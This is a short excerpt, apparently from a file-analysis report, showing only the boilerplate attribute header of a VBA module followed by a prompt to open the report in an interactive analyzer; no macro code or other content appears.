Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

…

Open this report in the interactive analyzer, or submit your own file for analysis.